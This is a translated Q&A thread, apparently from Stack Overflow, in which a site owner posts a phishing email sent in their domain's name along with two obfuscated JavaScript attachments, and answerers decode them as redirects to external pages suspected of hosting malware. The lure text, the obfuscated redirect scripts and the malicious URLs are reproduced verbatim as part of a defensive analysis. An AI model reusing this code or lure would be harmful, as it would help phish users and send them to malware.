【问题标题】:What does this Javascript do?这个 Javascript 是做什么的?
【发布时间】:2010-06-11 01:17:27
【问题描述】:

我刚刚发现垃圾邮件发送者正在从我们的域名发送电子邮件,假装是我们,说:

尊敬的客户,

这封电子邮件是由 ourwebsite.com 发送的 通知您,我们暂时 阻止访问您的帐户。

我们有理由相信您的 帐户可能已被 其他人。请运行附件 并按照说明进行操作。

(C)ourwebsite.com(我改了)

附件是一个 HTML 文件,包含以下 javascript:

<script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script>

另一封电子邮件是这样的:

<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script>

谁能告诉我它的作用?因此,我们可以查看是否存在漏洞,以及是否需要告知客户...

谢谢

【问题讨论】:

    标签: javascript phishing


    【解决方案1】:

    答案:

    脚本执行

    document.location.href = "http://mvblaw.com/z.htm";    //Evil site (I assume)
    

    它还包含大量无用的行来隐藏脚本的真正目的。

    分析

    这里是解压的。

    function mD() {};
    this.aB = 43719;
    mD.prototype = {
        i: function () {
            var w = new Date();
            this.j = '';
            var x = function () {};
            var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
            var d = new Date();
            y = "";
            aL = "";
            var f = document;
            var s = function () {};
            this.yE = "";
            aN = "";
            var dL = '';
            var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
            this.v = "v";
            var q = 27427;
            var m = new Date();
            iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
            dE = '';
            k = "";
            var qY = function () {};
        }
    };
    xO = false;
    var b = new mD();
    yY = "";
    b.i();
    this.xT = '';
    

    清理混淆并添加有意义的名称,它变成了

    function TempClass() {};
    this.aB = 43719;
    TempClass.prototype = {
        doIt: function () {
            var w = new Date();
            this.j = '';
            var x = function () {};
            var a = "http://mvblaw.com/z.htm";    //Evil site (I assume)
    
            var d = new Date();
            y = "";
            aL = "";
            var f = document;
            var s = function () {};
            this.yE = "";
            aN = "";
            var dL = '';
            var iD = f['location'];
            this.v = "v";
            var q = 27427;
            var m = new Date();
            iD['href'] = a;
            dE = '';
            k = "";
            var qY = function () {};
        }
    };
    xO = false;
    var b = new TempClass();
    yY = "";
    b.doIt();
    this.xT = '';
    

    去掉所有无用的行,就变成了

    function TempClass() {};
    
    TempClass.prototype = {
        doIt: function () {
            var a = "http://mvblaw.com/z.htm";    //Evil site (I assume)
    
            var f = document;
            var iD = f['location'];
            iD['href'] = a;
        }
    };
    
    var b = new TempClass();
    b.doIt();
    

    【讨论】:

    • http:// mvblaw 。正则表达式后的 com/z.htm。它似乎所做的只是重定向到那个地址。
    • 链接已关闭(标准 Apache 404);你不必担心。
    • 那么您认为这不是专门针对我们的网站的吗?这只是一封普通的电子邮件,他们使用我们的名字?
    • SLaks,第二个脚本的链接是实时的。而且看起来很糟糕。
    • 它试图将用户重定向到mvblaw.com/z.htm。在第 8 行中,该字符串看起来像是一堆乱码,但随后的替换方法会删除正则表达式中的字符,留下mvblaw.com/z.htm。他们稍后会做同样的事情来设置浏览器窗口的 location.href 值,将用户重定向到可能有恶意软件或其他邪恶事件发生的 z.htm 页面。
    【解决方案2】:

    脚本有很多无用的东西只是为了制造混乱,脚本的基本部分是:

    function mD() {};
    mD.prototype = {
      i: function () {
         // read between every two letters:
         var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'
                  .replace(/[gJG,\<]/g, '');
         var f = document;
         var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
         iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
       }
    };
    var b = new mD();
    b.i();
    

    如果我们清理更多:

    function mD() {};
    mD.prototype = {
      i: function () {
         var a = 'http://mvblaw.com/z.htm';
         var f = document;
         var iD = f['location'];
         iD['href'] = a;
       }
    };
    var b = new mD();
    b.i();
    

    还有更多:

    function mD() {};
    mD.prototype = {
      i: function () {
         document.location.href = 'http://mvblaw.com/z.htm';
       }
    };
    var b = new mD();
    b.i();
    

    【讨论】:

      【解决方案3】:

      没有天才,他们:

      hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
      
      h t t p : / / m v b l a w . c o m / z . h t m
      
      
      f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
      
         l o c a t i o n
      
      iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
      
          h r e f
      

      甚至不需要通过正则表达式运行它:)

      我将假设他们入侵了 mvblaw 并将有效负载页面偷偷带到那里。有虚拟机的人想看看它的作用吗?

      【讨论】:

      • 似乎第二个脚本发送到了 lendermedia 。 com/images/z.htm,这是一家加拿大药店,它也尝试加载一些 java 代码。
      【解决方案4】:

      基本上,它似乎将(document['location'])['href'](或者,通常来说,document.location.href)设置为http://mvblaw.com/z.htm

      混淆代码非常简单,只是将噪声字符替换为空:

      var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
          // a = http://mvblaw.com/z.htm
      var f=document;
      var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
          // iD = document.location
      iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
          // document.location.href = a (the URL above).
      

      【讨论】:

        猜你喜欢
        • 2011-02-04
        • 1970-01-01
        • 1970-01-01
        • 2012-05-02
        • 2010-10-03
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        相关资源
        最近更新 更多